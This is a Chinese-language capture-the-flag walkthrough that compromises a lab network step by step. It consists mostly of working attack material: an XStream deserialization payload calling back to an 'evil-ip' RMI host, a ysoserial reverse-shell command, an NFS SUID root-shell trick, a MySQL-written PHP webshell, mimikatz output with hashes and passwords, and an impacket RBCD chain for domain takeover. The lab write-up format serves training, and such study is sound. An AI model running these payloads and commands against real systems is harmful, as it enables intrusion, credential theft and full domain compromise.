公网

21可以登录,有个pom.xml,可以看到xstream。

vulhub/xstream/CVE-2021-29505/README.zh-cn.md at master · vulhub/vulhub

Pre-Built Vulnerable Environments Based on Docker-Compose - vulhub/vulhub

照着打,开监听,开yso rmi服务。设置弹shell。

Bash
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,xxx}|{base64,-d}|{bash,-i}"
Bash
pwncat-cs -lp 11456

然后打一个poc上去就行。

XML
<java.util.PriorityQueue serialization='custom'>    <unserializable-parents/>    <java.util.PriorityQueue>        <default>            <size>2</size>        </default>        <int>3</int>        <javax.naming.ldap.Rdn_-RdnEntry>            <type>12345</type>            <value class='com.sun.org.apache.xpath.internal.objects.XString'>                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>            </value>        </javax.naming.ldap.Rdn_-RdnEntry>        <javax.naming.ldap.Rdn_-RdnEntry>            <type>12345</type>            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>                    <parsedMessage>true</parsedMessage>                    <soapVersion>SOAP_11</soapVersion>                    <bodyParts/>                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>                        <attachmentsInitialized>false</attachmentsInitialized>                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>                                    <names>                                        <string>aa</string>                                        <string>aa</string>                                    </names>                                    <ctx>                                        <environment/>                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>                                            <java.rmi.server.RemoteObject>                                                <string>UnicastRef</string>                                                <string>evil-ip</string>                                                <int>1099</int>                                                <long>0</long>                                                <int>0</int>                                                <long>0</long>                                                <short>0</short>                                                <boolean>false</boolean>                                            </java.rmi.server.RemoteObject>                                        </registry>                                        <host>evil-ip</host>                                        <port>1099</port>                                    </ctx>                                </candidates>                            </aliases>                        </nullIter>                    </sm>                </message>            </value>        </javax.naming.ldap.Rdn_-RdnEntry>    </java.util.PriorityQueue></java.util.PriorityQueue>

上去就是root权限,第一个flag拿下。

然后传点东西上去。

stowaway搭内网。

信息搜集

Text
172.22.13.6  WIN-DC172.22.13.14 公网(入口)172.22.13.28 WIN-HAUWOLAO 80(OA办公平台)/8080 (Nothing here) mysql:root:123456172.22.13.57 CentOS

172.22.13.57(flag02)

这台开了个2049,好像是nfs,结合题目提示

直接挂载。

在可以出网的这台机器上装

Bash
sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.listsudo apt-get updateapt-get install nfs-common -y

于是连接后是nfs提权。

xz.aliyun.com

只需要创建一个带suid权限的文件,传上去之后他也是有这个权限的。

  1. 写ssh密钥
  2. 传一个带suid权限的文件,
  3. ssh连上后运行就有root权限了
Bash
cd /mkdir tempmount -t nfs 172.22.13.57:/ ./temp -o nolock
Bash
ssh-keygen -t rsa -b 4096cd /temp/home/joyce/mkdir .sshcat /root/.ssh/id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keysssh  -i /root/.ssh/id_rsa [email protected]
Bash
cat << EOF >> 1.c#include<unistd.h>void main(){        setuid(0);        setgid(0);        system("bash");}EOFgcc 1.cchmod u+s ./a.out

这里还能找到一个密码。

172.22.13.28(flag03)

mysql弱口令。

navicat连上看变量,知道是phpstudy配置的。

写马连antsword拿到flag

Bash
select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";

这个进去就是system权限了。上面有个密码也是这台上的账号。用bloodhound可以收集信息。

Bash
 proxychains4 bloodhound-python -u zhangwen -p 'QT62f3gBhK1' -d xiaorang.lab -c all -ns 172.22.13.6 --zip --dns-tcp

于是找到本机上还有一个chenlei,权限似乎高一点。

mimikatz传上去拿密码。

Bash
Authentication Id : 0 ; 219475 (00000000:00035953)Session           : Service from 0User Name         : chengleiDomain            : XIAORANGLogon Server      : WIN-DCLogon Time        : 2023/10/4 16:46:14SID               : S-1-5-21-3269458654-3569381900-10559451-1105	msv :		 [00000003] Primary	 * Username : chenglei	 * Domain   : XIAORANG	 * NTLM     : 0c00801c30594a1b8eaa889d237c5382	 * SHA1     : e8848f8a454e08957ec9814b9709129b7101fad7	 * DPAPI    : 89b179dc738db098372c365602b7b0f4	tspkg :		wdigest :		 * Username : chenglei	 * Domain   : XIAORANG	 * Password : (null)	kerberos :		 * Username : chenglei	 * Domain   : XIAORANG.LAB	 * Password : Xt61f3LBhg1	ssp :		credman :	

DC(flag04)

方法挺多的,这里用RBCD

Bash
proxychains4 -q addcomputer.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'HACK$' -computer-pass 'qwer1234!'proxychains4 -q rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'HACK$'proxychains4 -q getST.py xiaorang.lab/'HACK$':'qwer1234!' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6export KRB5CCNAME=Administrator@[email protected]proxychains4 -q psexec.py [email protected] -k -no-pass -dc-ip 172.22.13.6

🥲

2小时36分钟25秒